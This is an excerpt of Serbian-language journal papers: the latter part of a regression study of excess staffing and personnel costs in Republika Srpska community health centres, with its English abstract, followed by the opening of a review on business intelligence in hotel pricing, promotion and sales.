Prvobitno je nekoliko varijabli testirano u modelu kao faktora koji potencijalno određuju visinu učešća troškova ličnih primanja, a kriterijum za prihvatanje modela je visok stepen objašnjenosti varijabiliteta u zavisnoj varijabli (učešće troškova ličnih primanja u prihodu), sa varijabilitetom nezavisnih varijabli (r^2 – koeficijent determinacije). Drugim riječima, uslov za prihvatanje modela je visok stepen podudarnosti empirijskih i vrijednosti dobijenih po modelu. Visok stepen podudarnosti empirijskih i vrijednosti po modelu govori da je obuhvaćen dovoljan broj varijabli koje ostvaruju značajan uticaj na zavisnu varijablu. Uz pomoć *p* vrijednosti koeficijenata nagiba nezavisnih varijabli (regresora) moguće je provjeriti da li je data varijabla potrebna u modelu, tj. da li postoje varijable koje su nepotrebne u modelu. Odnosno, sve varijable sa *p* vrijednošću preko 0,05 isključene su iz konačnog modela.

Na osnovu regresionog modela u kojem su sve varijable iskazane u sopstvenim jedinicama mjere, nije moguće zaključiti koja varijabla ostvaruje najznačajniji uticaj i to iz razloga što stepen varijacije (mjeren standardnom devijacijom) nije jednak kod svih varijabli, te dobijene koeficijente nagiba nije moguće međusobno upoređivati. Ovaj problem je prevaziđen izračunavanjem standardizovanog odstupanja po formuli:

$$z = \frac{x - \mu}{\sigma} \tag{3}$$

Pri čemu su:

x – originalna vrijednost varijable,

μ – aritmetička sredina i

 σ – standardna devijacija.

Standardizovanim odstupanjem izolovan je efekat različitog stepena varijacija. Nakon toga, bilo je moguće ponovo primjeniti višestruki linearni model na transformisanim podacima. Ovako dobijeni koeficijenti nagiba (uticaja) pojedinačnih varijabli su uporedivi.

Relativni uticaj pojedinačne nezavisne varijable po modelu može se dobiti dijeljenjem apsolutne vrijednosti koeficijenta nagiba sa zbirom apsolutnih vrijednosti svih koeficijenata nagiba. Ovako dobijeni relativni uticaj predstavlja procenat uticaja pojedinačnog faktora u odnosu na uticaj faktora koji su obuhvaćeni modelom (pritom ne uzimajući u obzir faktore koji nisu obuhvaćeni modelom). Zbog toga su, naposlijetku, koeficijenti relativnog uticaja pomnoženi (korigovani) sa ukupnim stepenom objašnjenog varijabiliteta (koeficijentom determinacije).

Nakon toga, prostim regresionim modelom testiran je uticaj broja registrovanih lica na stopu zaposlenosti. S obzirom na to da je početna pretpostavka da se stopa zaposlenosti smanjuje sa povećanjem broja registrovanih lica, a da nije realno da je smanjenje proporcionalno (linearno), testirani su i drugi modeli proste regresione analize, pored najčešće korišćene proste linearne regresione analize. Utvrđeno je da je najviši stepen slaganja kod logaritamskog regresionog modela.

Logaritamski regresioni model pokazuje prosječne vrijednosti stope zaposlenosti pri datom broju registrovanih lica u domu zdravlja. Ovo je urađeno sa ciljem da se domovi zdravlja porede sa sebi sličnim domovima zdravlja u pogledu veličine. Nakon toga, vrijednosti dobijene modelom određene su kao gornje granice prihvatljive visine stope zaposlenosti, što znači da se sve vrijednosti iznad toga mogu smatrati neopravdano visokom stopom zaposlenosti.

Nakon toga, za sve domove zdravlja kod kojih je stopa zaposlenosti iznad dobijenih vrijednosti po modelu, preporučuje se vrijednost koja je dobijena po modelu. Tako dobijene vrijednosti stope zaposlenosti mogu se uvrstiti u višestruki regresioni model i dobiti učešće troškova ličnih primanja u prihodu, kada bi domovi zdravlja uvažili preporuku da stopu zaposlenosti smanje na preporučenu visinu. Kada se od ovako izračunatog učešća troškova ličnih primanja u prihodu oduzme učešće troškova ličnih primanja dobijena višestrukim linearnim regresionim modelom sa stvarnom stopom zaposlenosti, dobije se potencijalna ušteda doma zdravlja u procentima prihoda. Na taj način moguće je izračunati potencijalno smanjenje doznaka Fonda zdravstvenog osiguranja Republike Srpske domovima zdravlja koji su smanjili troškove za lična primanja zaposlenih, a da pritom odnos finansijskog rezultata i prihoda ostane nepromijenjen. S obzirom na to da je regulatornim okvirom utvrđen model finansiranja domova zdravlja, a koji je prethodno opisan, nije moguće vršiti smanjivanje doznaka po navedenom osnovu, već je dato posmatranje rezultata korisno radi lakše interpretacije ušteda i analiziranja stepena značajnosti istih, za zdravstveni sistem Republike Srpske.

4. REZULTATI ISTRAŽIVANJA

Nakon što je vršeno testiranje više nezavisnih varijabli kao determinanti visine troškova ličnih primanja izraženih u procentima od prihoda, višestruka linearna regresija je pokazala da tri determinante: broj zaposlenih na 100 registrovanih lica (višak zaposlenih), visina prihoda po registrovanom licu (prihod doma zdravlja), visina ličnih primanja po zaposlenom, objašnjavaju zavisnu varijablu sa 87,31%. P vrijednost za odsječak modela je na nivou od 0,20, dok su parametri nagiba za sve tri varijable statistički značajni na nivou od 0,001. Vrijednosti koeficijenata uz broj zaposlenih i lična primanja po zaposlenom su pozitivnog predznaka, dok vrijednost koeficijenta uz prihod doma zdravlja ima negativnu vrijednost. Ovo je sasvim logično, jer što je veći broj zaposlenih, i što su prosječna lična primanja viša, viši je i nivo učešća troškova ličnih primanja u prihodu. A što su prihodi veći, manje je učešće troškova ličnih primanja u prihodu. Apsolutne vrijednosti koeficijenata dobijenih višestrukim regresionim modelom čije se ulazne vrijednosti standardizovani koeficijenti (z), koji stoje uz nezavisne varijable podijeljene sa njihovim zbirom, imaju sljedeće vrijednosti: prihod doma zdravlja - 35,05%; broj zaposlenih - 47,77%; lična primanja po radniku - 17,18%. Ove relativne vrijednosti pokazuju intenzitet uticaja svake varijable na varijabilitet zavisne varijable. S obzirom na to da one sve zajedno objašnjavaju 87,31% ukupnog varijabiliteta, potrebno ih je pomnožiti sa ukupnim objašnjenim varijabilitetom. Tako pomnoženi parametri iznose: 30,6%; 41,7% i 15,0%. Ovi parametri pokazuju procenat objašnjenosti varijabiliteta svake varijable. Tako možemo zaključiti da višak zaposlenih predstavlja najznačajniju determinantu visine ličnih primanja domova zdravlja. S obzirom na to da se troškovi ličnih primanja kreću od 37,3 do 109,4% [8], ovo praktično znači da je višak zaposlenih najznačajniji uzročnik visokih troškova ličnih primanja.

Postojanje viška zaposlenih moguće je utvrditi jednostavnim poređenjem broja zaposlenih u domovima zdravlja sa brojem zaposlenih koji odgovara standardima i normativima. Međutim, standardi i normativi preuzeti su iz prakse razvijenih zemalja koje smatraju da ne postoji potreba za domovima zdravlja na područuju koje ima manje od 25.000 stanovnika. U Republici Srpskoj, 38 od 53 doma zdravlja organizovani su na područjima (jedna ili više opština) koja imaju manje od 25.000 stanovnika. Razlog je očigledan. Neke opštine su udaljene ili nedovoljno povezane putnom mrežom sa većim centrima, pa bi njihovo pripajanje većim centrima dovelo do narušavanja načela dostupnosti zdravstvene zaštite u Republici Srpskoj, i to u značajnoj mjeri. Imajući na umu sve što je naprijed izneseno, može se zaključiti da pomenutni normativi i standardi nisu primjenljivi na domove zdravlja u Republici Srpskoj. Tako bi domovi zdravlja, prema normativu, trebalo da zaposle nekog radnika na 1,7 radnih sati, a pritom u blizini ne postoji dom zdravlja u koji bi se takođe mogao zaposliti zdravstveni radnik kako bi popunio normu. Iz praktičnih i socijalnih razloga nije realno očekivati da se rukovodstvo doslovno drži normativa, te je često praksa da u takvim slučajevima zdravstveni radnik bude zaposlen na puno radno vrijeme i za to prima odgovarajuću neto platu. Očigledno je, dakle, da bi trebalo koristiti blaže kriterijume prilikom

identifikacije viška zaposlenih, kod domova zdravlja sa manjim brojem registrovanih lica, upravo uzimajući u obzir nedjeljivost radnika u gore opisanom primjeru.

Ovaj problem prevaziđen je primjenom logaritamskog regresionog modela koji opisuje vezu između broja zaposlenih na 100 registrovanih lica (viška zaposlenih) i broja registrovanih lica. Dobijene vrijednosti po modelu predstavljaju gornju granicu tolerancije broja zaposlenih na 100 registrovanih lica. Ovako utvrđene granice predstavljaju relativne kriterijume, pri čemu oni zavise od broja registrovanih lica, broja zaposlenih na 100 registrovanih lica kod domova zdravlja sa sličnim brojem registrovanih lica.

$Y = 0,0135058491 - 0,0008582051 \cdot ln(X)$ (4)

S obzirom na to da regresiona jednačina (4) pokazuje gornju granicu prihvatljivog broja zaposlenih na 100 registrovanih lica, preporučene vrijednosti za domove zdravlja, koje trenutno imaju više vrijednosti od modela, jednake su vrrijednostima dobijenih po modelu, dok se preporučuju stvarne vrijednosti za one domove zdravlja koje trenutno imaju niže vrijednosti od modela. Drugim riječima, vrijednosti po modelu su preporuka samo za one koji zapošljavaju više od modela. Primjenjujući ove preporuke, dolazimo do zaključka da nije neophodno smanjenje broja zaposlenih kod DZ Istočni Stari Grad, koji zapošljava 0,71 zaposlenog na 100 registrovanih lica. Istovremeno zaključujemo da je potrebno smanjenje broja zaposlenih u DZ Banja Luka, koji zapošljava 0,46 zaposlenih na 100 registrovanih lica. Ovaj zaključak, iako na prvi pogled nelogičan, proizilazi iz činjenice da DZ Istočni Stari Grad ima 871, a DZ Banja Luka ima 189.460 registrovanih lica [9]. Uvrštavajući broj registrovanih lica u logaritamski model (4) dobija se da su prihvatljive stope zaposlenosti za DZ Istočni Stari Grad i DZ Banja Luka na nivou od 0,74 i 0,26, respektivno. S obzirom na to da DZ Istočni Stari Grad trenutno zapošljava manje od relativnog kriterijuma (0,71<0,74) njemu se ne preporučuje smanjenje broja zaposlenih, za razliku od DZ Banja Luka koji zapošljava više od relativnog kriterijuma (0,46>0,26). Njemu se sugeriše značajno smanjenje broja zaposlenih.

Ako bi se preporučene vrijednosti primijenile u praksi, odnosno ako bi se smanjio broj zaposlenih u domovima zdravlja kod kojih je dijagnostifikovan višak zaposlenih, bile bi ostvarene izvjesne uštede. Ovako utvrđene uštede iznosile bi 11,2 miliona KM. Ova sredstva mogla bi biti iskorišćena za poboljšavanje finansijskog rezultata istih domova zdravlja kod kojih je dijagnostifikovan višak zaposlenih, ali i za podizanje kvaliteta zdravstvenih usluga nabavkom opreme, sanitetskog materijala, lijekova i sl.

5. ZAKLJUČAK

Sprovedenim istraživanjem uz pomoć instrumentarija ekonometrijske analize utvrđeno je da su glavne determinante problema visokih troškova ličnih primanja, izraženih u procentu od prihoda doma zdravlja upravo: visok broj zaposlenih na 100 registrovanih lica (višak zaposlenih), nizak prihod (po registrovanom licu) i visoki troškovi ličnih primanja po zaposlenom. Ova veza ustanovljena je uz pomoć višestruke linearne regresione analize, na osnovu empirijskih podataka za 2015. godinu. Parametri nagiba u modelu, kao i cjelokupan model (F statistika), značajni su na nivou od 0,001. Prije uvršavanja podataka podaci za sve varijable standardizovane su uz pomoć standardizovanog odstupanja (Z). Nakon standardizovanja, dobijeni koeficijenti pokazuju relativan uticaj nezavisne varijable na zavisnu varijablu. Tako je ustanovljeno da je najznačajnija determinanta problema visokih troškova ličnih primanja upravko visok broj zaposlenih na 100 registrovanih lica (višak zaposlenih). Radi toga, dalje istraživanje je usmjereno ka preporukama za rješavanje ovog problema. Kako standardi i normativi nisu adekvatni zbog relativno male veličine domova zdravlja u Republici Srpskoj, preporučene vrijednosti ustanovljene su uz pomoć logaritamskog regresionog modela. Pridržavanjem preporučenih vrijednosti bile bi ostvarene uštede na nivou od 11,2 miliona KM.

Na ovaj način potvrđena je polazna hipoteza o glavnim determinantama ovog problema, te utvrđene preporuke za rješavanje problema i ublažavanja posljedica na finansijsko poslovanje domova zdravlja. Potrebno je istaći da se ne treba fokusirati samo na finansijske uštede na troškovima ličnih primanja, već da treba dati adekvatan značaj i efikasnosti zaposlenih u domovima zdravlja, čime bi se upotpunilo upravljanje ljudskim resursima u domovima zdravlja u Republici Srpskoj.

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INEFFICIENCY DETERMINANTS – THE CASE OF HEALTH CENTRES' EMPLOYEES IN THE REPUBLIC OF SRPSKA

Abstract:

In accordance with extension of life expectancy, decreasing of birthrate and growing problem of health care financing in Republic of Srpska, the issue of employees efficiency in health institutions is becoming more interesting. By observing 53 Community Health Centers in Republic of Srpska, it was noticed that employees cost share in revenue varies from 37.3% to 109.4%, in 2015, where unweighted average is 82.2%. These results present challenge for of finding determinants of intensity and variability of employees inefficiency in Community Health Centers in Republic of Srpska. In the course of the research, data from financial statements of Community Health Centers and number of registered people in Community Health Centers were used as data source. Determining of determinants has been calculated by multiple linear regression, based on previously customized source data, converted in certain ratios. Analysis revealed that statistically, three determinants are significant, with total determined variability of 87.3% and those are: number of employees (47.1%), payment by an employee (15%) and revenue of Community Health Centers (30.6%). Since the number of employees is the most important cause of inefficiency, the analysis is directed to determination of criteria for optimal number of employees. Optimal number of employees is determined by logarithmic regression analysis, where the number of registered people is independent variable. By reducing the number of employees to an optimal number, the fund of BAM 11.2 million would be released.

Keywords:

excess employees, optimal number of employees, realesed funds, multiple linear regression, simple logarithmic regression.



PRIMENA POSLOVNE INTELIGENCIJE U HOTELIJERSTVU

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Globalizacija i neoliberalni pristup u svetskoj ekonomiji potisnuo je privredna društva u sve veću konkurenciju. Sa pojavom interneta i savremenih informacionih tehnologija (IT), promene koje donose zaokret u svakodnevnom poslovanju dešavaju se u sve kraćim razmacima i ostavljaju neotklonjive posledice za one organizacije koje nisu u stanju da ih isprate. Savremene informacione tehnologije dobile su tako široku primenu u poslovanju, pre svega zato što doprinose unapređenju nekih od najosnovnijih ekonomskih principa kao što su produktivnost, ekonomičnost i rentabilnost. U ovom preglednom radu analiziran je koncept aktuelnog fenomena nazvanog Poslovna inteligencija i prezentovane su ideje o širokoj mogućnosti upotrebe ovog koncepta u oblasti hotelske industrije.

Ključne reči:

Business Inteligence, Hospitality, BI.

1. UVOD

Poslovna inteligencija predstavlja relativno mladu naučno-istraživačku oblast koja intrigira brojne istraživače iz celog sveta. Razlog za to jesu za sada neograničeni izvori upotrebe ovakvih sistema koji se prevashodno baziraju na savremenim informacionim tehnologijama (IT) i koji ne zavise od oblasti rada ili nivoa odlučivanja. Poslovna inteligencija privlači istraživače i iz prirodnih i iz društvenih nauka, a posebno informatičke inženjere. Iz tog razloga, radovi i udžbenici koji su pisani na temu poslovne inteligencije značajno se razlikuju, kako prema predmetu istraživanja, tako i prema samoj oblasti.

Savremene informacione tehnologije zamenile su neke, do tada, tradicionalne alate koji su pomagali radnoj snazi prilikom obavljanja posla. Čak su i pojedina zanimanja nestala pojavom IT koje su zamenile ljudski rad. Međutim, i pored promena koje donose IT, određena pitanja i dalje opstaju i to su pitanja koja menadžeri sebi postavljaju gotovo svakodnevno, kao npr: Da li investirati u nove proizvode i usluge? Da li otvoriti novo tržište? Da li smanjiti radnu snagu ili zaposliti dodatne kadrove? I tako nadalje. Pa ipak, kako lepo grupa autora iz Australije navodi, sva ova, ili pitanja ovakve vrste, zapravo se svode na 2 pitanja: [1]

- 1. Šta će se desiti u budućnosti?
- 2. Koja je najbolja odluka koju mogu da donesem sada?

Kako dalje navode, koliko god mi bili svesni ili ne, veliki broj naših ličnih, svakodnevnih odluka, zapravo u sebi sadrži ova dva pitanja [1]. Primera radi, kada se vozimo na posao biramo najbolji i najbrži put kojim ćemo stići kako bismo izbegli gužvu. U ovom slučaju zapravo se pitamo kolika će biti gužva na svim potencijalnim alternativnim pravcima i koji put treba odabrati ovog momenta. To isto zapravo se pitamo kada razmišljamo, primera radi o politici cena u hotelijerstvu. Mi se zapravo pitamo koliko će, u narednom periodu iznositi ukupna tražnja za našim smeštajnim jedinicama i koliko će ta tražnja biti finansijski sposobna, kako bismo u datom trenutku mogli da formiramo cene i ponudimo ih na tržištu. Čini se da bez obzira na to kakvu odluku na kraju doneli, ili koliko ona bila kompleksna, mi zapravo moramo napraviti neku vrstu predikcije budućeg stanja i u odnosu na tu zamisao zatim delati. Ovi kratki primeri zapravo pružaju najjednostavniju sliku onoga što danas nazivamo Poslovna inteligencija ili na engleskom Business Inteligence (BI).

Poslovna inteligencija i upravljanje velikim brojem podataka tzv. Big Data postalo je izuzetno važno polje interesovanja, kako akademske, tako i stručne javnosti u poslednje dve decenije [2]. Istraživanje jedne od najuticajnijih organizacija koja se bavi finansijama potkrepljuje ove tvrdnje u svom istraživanju u kojem navode da 97% kompanija koje imaju registrovan prihod veći od 100 miliona američkih dolara godišnje koristi neku vrstu poslovne inteligencije [3] Jones, Sidorova i Isik, primera radi, razlog tome vide u potrebi organizacija da naprave neki logički smisao od narastajućeg broja, brzine i različitosti podataka koje kompanija prikuplja iz internih i eksternih resursa [4]. Stoga ne čudi rezultat istraživanja koji pokazuje da se Poslovna inteligencija u poslednjih nekoliko godina uvek nalazi u prve dve poslovne komponente po važnosti kod senior menadžera [5].

Definisanje poslovne inteligencije

Nebrojane definicije poslovne inteligencije do sada su našle svoje mesto u akademskim žurnalima. Tako na primer, Moss i Atre pametno konstatuju da Poslovna inteligencija ima mnogo različitih definicija od strane brojnih eksperata iz različitih oblasti [6]. U skladu sa tim svako daje svoju interpretaciju BI. Jedna grupa autora definiše Poslovnu inteligenciju kao menadžerski alat koji pomaže organizacijama da upravljaju i unaprede svoje poslovne informacije kako bi donosile kvalitetnije odluke [7]. Drugi tvrde da je zadatak Poslovne inteligencije da skuplja podatke, informacije i znanje, i da odgovara brže i sa znalačkim pristupom na poslovne događaje u formi odluka [8]. Watson i Wixom dalje navode da je BI kritična u prilagođavanju promenama koje se dešavaju jednako kao i u poboljšavanju poslovnih performansi [9]. Pojedini autori idu čak dalje i Poslovnu inteligenciju svrstavaju kao kritičnu komponentu svih dugoročnih strategija održivog razvoja i uspeha kompanija [10].

Imajući u vidu sve gorenavedeno, smatramo da je za potrebe ovog rada najprihvatljivija i sveobuhvatnija definicija autora koji tvrdi da Poslovna inteligencija predstavlja 1) sistem, koncept, metod, proces i strukturu 2) kontinuiranog, definisanog i organizovanog prikupljanja, čuvanja, procesiranja i pristupa podacima 3) o klijentima, proizvodima, finansijskim indikatorima, poslovnim operacijama itd. 4) za svrhu sticanja tačnih i pravovremenih informacija neophodnih za donošenje tačnih, pravovremenih, strateških, operativnih i taktičkih odluka 5) sa ciljem unapređenja poslovnih performansi [11].

2. OPRAVDANOST UVOĐENJA POSLOVNE INTELIGENCIJE U HOTELIJERSTVO

Još u doba robne razmene, ljudi su posedovali informacije o proizvodima i uslugama koje nude [12]. Iskustveno se učilo koja se roba bolje prodaje, a koja lošije. Dodatno su izvođeni zaključci o tome kojim danima u koje vreme ljudi najčešće kupuju određenu robu itd. Dakle, ljudi su upravljali i vodili svoje poslovanje koristeći raspoložive informacije koje su uglavnom sistematizovali na bazi iskustva. Stoga, sa pravom možemo reći da Poslovna inteligencija postoji od početka poslovanja [12].

U jednom broju privrednih delatnosti i danas se veliki broj rukovodioca oslanja na svoje iskustvo u radu, više nego na egzaktne podatke. Pojava informacione tehnologije otvorila je nove mogućnosti za brže i lakše upravljanje podacima [13]. Relevantnost podataka na bazi kojih se donose odluke predmet je istraživanja mnogih naučnika, ali se svi nesumnjivo slažu da je 21. vek i pojava interneta unela takve promene u poslovanje, da je količina informacija počela da prevazilazi okvire za racionalno tumačenje i analizu. Iz tog razloga javila se potreba za još naprednijom upotrebom tehnologije kroz ono što danas poznajemo kao Poslovna inteligencija. Interesantan je primer koji količinu informacija i sposobnost obrade informacija i precizno donošenje odluka poredi sa čuvenom Laferovom krivom u ekonomiji, koja govori o fiskalnoj politici države i nemogućnošću trajnog povećavanja poreza. Taj odnos prikazan je na Slici 1.

Dakle, kao što je i gore navedeno, Poslovna inteligencija kao termin može da se veže i za same početke ljudskog poslovanja, ali se danas kada se pominje najčešće misli na obrasce i alate putem kojih informacione tehnologije strukturno upravljaju podacima i informacijama i uobličuju ih u poslovne odluke. Poslovna inteligencija je relativno mlad koncept, model ili pak poslovno rešenje, i stoga još uvek nema primenu u svim industrijama, ali mnogi autori smatraju da će primena poslovne inteligencije u savremenom poslovanju tek uzeti pravi zamah.



Slika 1. Odnos količine informacija i preciznost u donošenju odluka.

Turizam i hotelijerstvo, koje je posebno u fokusu ovog istraživanja, predstavljaju delatnost koja beleži izuzetno povoljne stope raste na globalnom nivou. Ono što posebno odlikuje ovu industriju to je otpornost na različite vrste kriza, [14], pa se tako sa pravom može očekivati stabilan rast ove delatnosti u narednih nekoliko decenija. Ovakve trendove predviđa i Svetska turistička organizacija u svim svojim scenarijima, pa tako treba očekivati i promene koje će pratiti novine koje dolaze iz drugih industrija. Ovde se pre svega misli na trend uvođenja Poslovne inteligencije u preduzeća iz oblasti marketinga i medija, transporta i logistike, ali i proizvodnih preduzeća itd.

Nesumnjivo je da pojava poslovne inteligencije donosi velike promene u poslovanju, ali upravo iz tog razloga neophodno je pristupiti strateški kada govorimo o implementaciji. Poslovna inteligencija najviše olakšava proces operativnog poslovanja, ali u ovom radu mi želimo da prikažemo da ona predstavlja strateški važnu, novu, funkciju u preduzeću, koja treba biti pažljivo implementirana tako da služi u funkciji generisanja i sprovođenja dugoročne strategije razvoja preduzeća.

U nastavku ćemo dati pregled na koji način poslovna inteligencija može pomoći menadžmentu hotelskih preduzeća prilikom rešavanja određenih složenih problema u poslovanju.

3. PRIMENA POSLOVNE INTELIGENCIJE U REŠAVANJU KOMPLEKSNIH PROBLEMA U HOTELIJERSTVU

Kao i mnoge druge delatnosti, i menadžment hotelskih preduzeća odlikuje veliki broj kompleksnih problema. Pa ipak, svaka delatnost obiluje određenim pojedinostima. Kako je u ovom radu od primarnog interesa oblast hotelskog poslovanja, u nastavku ćemo se fokusirati na određene kompleksne probleme koji se pojavljuju u upravljanju savremenim hotelskim preduzećem. Poštujući marketinški pristup u upravljanju hotelom iz marketing miksa pozabavićemo se kompleksnim problemima koji se pojavljuju u promociji, kanalima prodaje i kreiranju cenovne politike u hotelijerstvu.

Problemi u kreiranju politike cena

Kod razjašnjavanja kompleksnih problema u hotelijerstvu počećemo od kreiranja cenovne politike iz jednostavnog razloga, budući da ovaj proces prethodi promociji i prodaji hotelskog proizvoda, odnosno usluge. Kreiranje cena danas je potpuno drugačije u odnosu na period pre masovne upotrebe informacionih tehnologija. Jedna studija rađena od strane Google-a i Ipsos-a, poznate istraživačke kompanije, ustanovila je da današnji turisti pre svega konsultuju internet kada donose odluku o tome gde i kako će putovati [15]. Upotreba informacionih tehnologija je u značajnoj meri uticala na kanale prodaje sa pojavom interneta i posebno internet distributivnih sistema, ali je samim tim drastično uticala i na politiku kreiranja cena. Cene su danas javno dostupne svim potencijalnim gostima i uporedive sa konkurentskim hotelima na određenoj destinaciji. Iz tog razloga zavladao je pravi rat cena na međunarodnom hotelskom tržištu. U želji da gostima ponude najbolju raspoloživu cenu (Best available rate) hoteli su posegli za izuzetno visokim provizijama koje danas ustupaju internet distributivnim sistemima (IDS). U prilog ovoj tvrdnji govori i izjava Zach Zahrana iz "Kitano Hotela" u Njujorku koji potvrđuje da sigurno 1/4 svih rezervacija širom sveta dolazi od strane internet distributivnih sistema, ali po izuzetno visokoj ceni, odnosno proviziji koja ide do 25%1.

Snaga IDS je upravo u tome što su, s jedne strane hotelima omogućili globalnu prezentaciju, a putnicima lako upoređivanje cene, kvaliteta i iskustava drugih putnika u jako kratkom vremenu, sa druge strane.

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¹ Videti više na: http://hotelmarketing.com/index.php/content/ article/hotel_websites_might_just_have_the_best_rates_and_ perks#sthash.2n9iyuRR.dpuf

Kako kreirati cenovnu politiku u ovakvoj situaciji? Kojom brzinom menjati cene i u odnosu na šta sve se usmeravati u tom procesu? Jedan način jeste sakupljanje velikog broja podataka o cenama koje su do sada objavljivane na internet distributivnim sistemima. Informacioni sistem može skupljati veliki broj podataka o cenama na određenoj destinaciji tokom određenog vremena. Za potrebe dalje analize podataka hotel bi mogao da sakuplja podatke o tome:

- 1. Koji je datum? (godina, mesec, radni dan, vikend)
- 2. O kojoj destinaciji je reč?
- 3. Koliko hotela objavljuje svoje cene na IDS?
- 4. Kolika je najviša i najniža ponuđena cena na određeni datum?
- 5. Svakoj pojedinačnoj javno objavljenoj ceni.

Jasno da bi u zavisnosti od veličine skladišta i memorije, kao i brzine samog softvera, zavisilo i koliko bi još dodatno informacija program mogao samostalno da prikuplja, ali će za razjašnjenje principa poslužiti i primer sa 5 promenljivih. Na bazi velikog broja prikupljenih podataka, BI softver bi mogao da vrši predikciju budućih kretanja cena na određenom tržištu. U zavisnosti od dodatnih promenljivih koje bi sistem prikupljao i kombinovanjem podataka, moglo bi se zaključiti da, primera radi, gosti iz Nemačke najčešće borave u hotelu tokom septembra i oktobra meseca i da su u tim periodima spremni da plate višu cenu od prosečne. Ovakva informacija može menadžmentu ukazati da postoji određena aktivnost koja se događa na tržištu, koja uzrokuje veću posetu gostiju iz Nemačke i da u tom slučaju zadrži visoke cene.

Međutim, znamo da prodaja preko internet distributivnih kanala ne čini ukupnu prodaju hotelskih kapaciteta. Možemo li, dakle, i na koji način uz pomoć BI povećati i direktnu prodaju, prodaju korporativnim klijentima? Sigurno je da možemo. Uzmimo za primer da hotel ima potpisanih 100 korporativnih ugovora sa klijentima koji ostvaruju veći broj noćenja tokom godine. U ovom slučaju, najčešće se radi o velikim korporacijama čiji zaposleni nekoliko puta u toku godine, vrlo često iz poslovnih razloga, borave po nekoliko dana u hotelu. BI koji bi obuhvatao i takozvane sisteme za upravljanje imovinom tj. PMS (Property management system) i CRM (Customer relationship management) jednostavno bi mogao da izdvoji najprofitabilnije korporativne klijente. Pa ipak, ne radi se samo o pitanju najprofitabilnijih klijenata. Kombinovanjem podataka možemo utvrditi u kojem periodu dolaze najprofitabilniji gosti i za taj period sačuvati politiku viših cena, s obzirom na to da možemo očekivati određeni nivo garantovano popunjenih kapaciteta. Uz to, ne bismo voleli da naši klijenti primete da je u tom trenutku naša javno istaknuta cena nekoliko procenata niža u odnosu na cenu koju oni plaćaju. Sve ovo su sitnice koje zapravo i čine posao hotelijera izuzetno interesantnim. Uparivanjem individualnih profila gostiju koji dolaze preko korporacija otvora nam i jedan ogroman prostor za personalizovanu promociju, ali će o tome više biti reči u nastavku.

Rešenja za praćenje javno istaknutih cena već postoje, iako smo pokazali da one čine samo jedan segment cenovne politike koju hotelski menadžment treba da kreira. Jasno, BI daleko prevazilazi funkcije prikazane na primeru. Na kraju, treba opet istaći da je cilj ovakvih sistema uvek da pomognu odlučivanju, a nikako da donose odluke umesto rukovodioca.

Problemi u promociji hotelskih preduzeća

Pretpostavimo da smo uspešno rešili pitanje politike cena u hotelijerstvu, barem u domenu javnih cena koje se objavljuju na IDS kanalima i korporativnih klijenata. Sledeće pitanje koje nam se prirodno nameće jeste: koje ćemo kanale odabrati za promociju našeg hotela? Koje to medije prati naša potencijalna tražnja? Kakva su iskustva starih, redovnih gostiju?

Kreiranje marketing strategije bez prethodnog znanja o tržištu i o tražnji jednako je poslovnom neuspehu. Ipak, količina podataka koju je moguće prikupiti o situaciji na tržištu, trendovima, kao i o samoj tražnji, prevazilazi okvire ljudskih kapaciteta. Iz tog razloga već su kreirani različiti IT sistemi u koje se mogu prikupljati svi gorenavedeni podaci. Tako, primera radi, PMS sadrži (ili može sadržati) gotovo sve podatke i informacije koje su nam korisne kada su u pitanju gosti koji su do sada boravili u hotelu. Postoje posebna IT rešenja koja danas pomažu u anketiranju i davanju mišljenja od strane gostiju koji su boravili u hotelu [16]. Uz to, kreirani su i veliki programi za slanje e-mail kampanja, sms kampanja, pa čak i za TV planiranje, iako su u ovom poslednjem slučaju njihovi korisnici najčešće medijske agencije. Međutim, nedostatak svih ovih programa sa aspekta upravljanja je što oni funkcionišu odvojeno, često sa podacima koji se preklapaju i koje zahtevaju ljudski rad u kopiranju podataka i pružaju mogućnost parcijalne analize rezultata poslovanja. Vrlo često dolazi do dupliranja poslovnih operacija, dvostrukog unošenja istih informacija i slično.

Prednost i snaga BI je upravo u tome, u kombinovanom, objedinjenom i strukturiranom unosu i korišćenju, analizi i interpretaciji podataka u vidu poslovnih predloga. Za primer u strategiji targetiranja kod individualnih gostiju može poslužiti kombinacija podataka iz PMS sistema i programa kao što je Customer Alliance². Na taj način, na osnovu informacija dobijenih o zadovoljstvu korisnika, kao i o tome koje medije najčešće koristi, možemo lako uputiti ciljanu mejl kampanju, sms kampanju ili kampanju na društvenim ili drugim medijima.

Što se tiče korporativnih gostiju, moguća je integracija individualnih profila gostiju sa korporacijskim profilima. Na taj način možemo ustanoviti koji su to individualni gosti koji najučestalije dolaze u hotel preko korporativnih ugovora. Ispitivanjem njihovih stavova, takođe preko BI sistema, možemo utvrditi koji su to najzadovoljniji gosti koji su zadovoljni boravkom u našem hotelu. Na ovaj način smo segmentaciju sproveli do samog kraja i sada nam za promociju preostaje samo odabir odgovarajućeg kanala.

Problemi u prodaji

Karakteristika hotelskog proizvoda je kao i kod svih uslužnih preduzeća specifična i drugačija u odnosu na proizvodna. Nemogućnost skladištenja uslovljava dobro poznavanje discipline koje je poprimila veliku pažnju akademske i stručne javnosti - Revenue Management odnosno upravljanje prihodima. Prvi akademski članak iz ove oblasti objavljen u Cornell Quarterly Journal-u datira još iz 1988. godine [17, 18]. Ipak, teško je reći da se od tada malo toga promenilo u svetu biznisa, ili hotelijerstvu specifično. Najdrastičnija promena svakako dolazi iz IT oblasti, ali je ipak princip umnogome ostao isti. Radi se zapravo o načinu za ostvarivanje najviše moguće ostvarive cene u svakom trenutku. Pritom, treba imati u vidu da se sa pojavom IDS kanala brzina izmene cena dramatično promenila. U današnjem poslovanju hotelske cene se menjaju na dnevnom nivou, vrlo često i nekoliko puta u toku dana. Preduslov jeste dobro poznavanje tržišta i potencijalne traže i njihove finansijske sposobnosti.

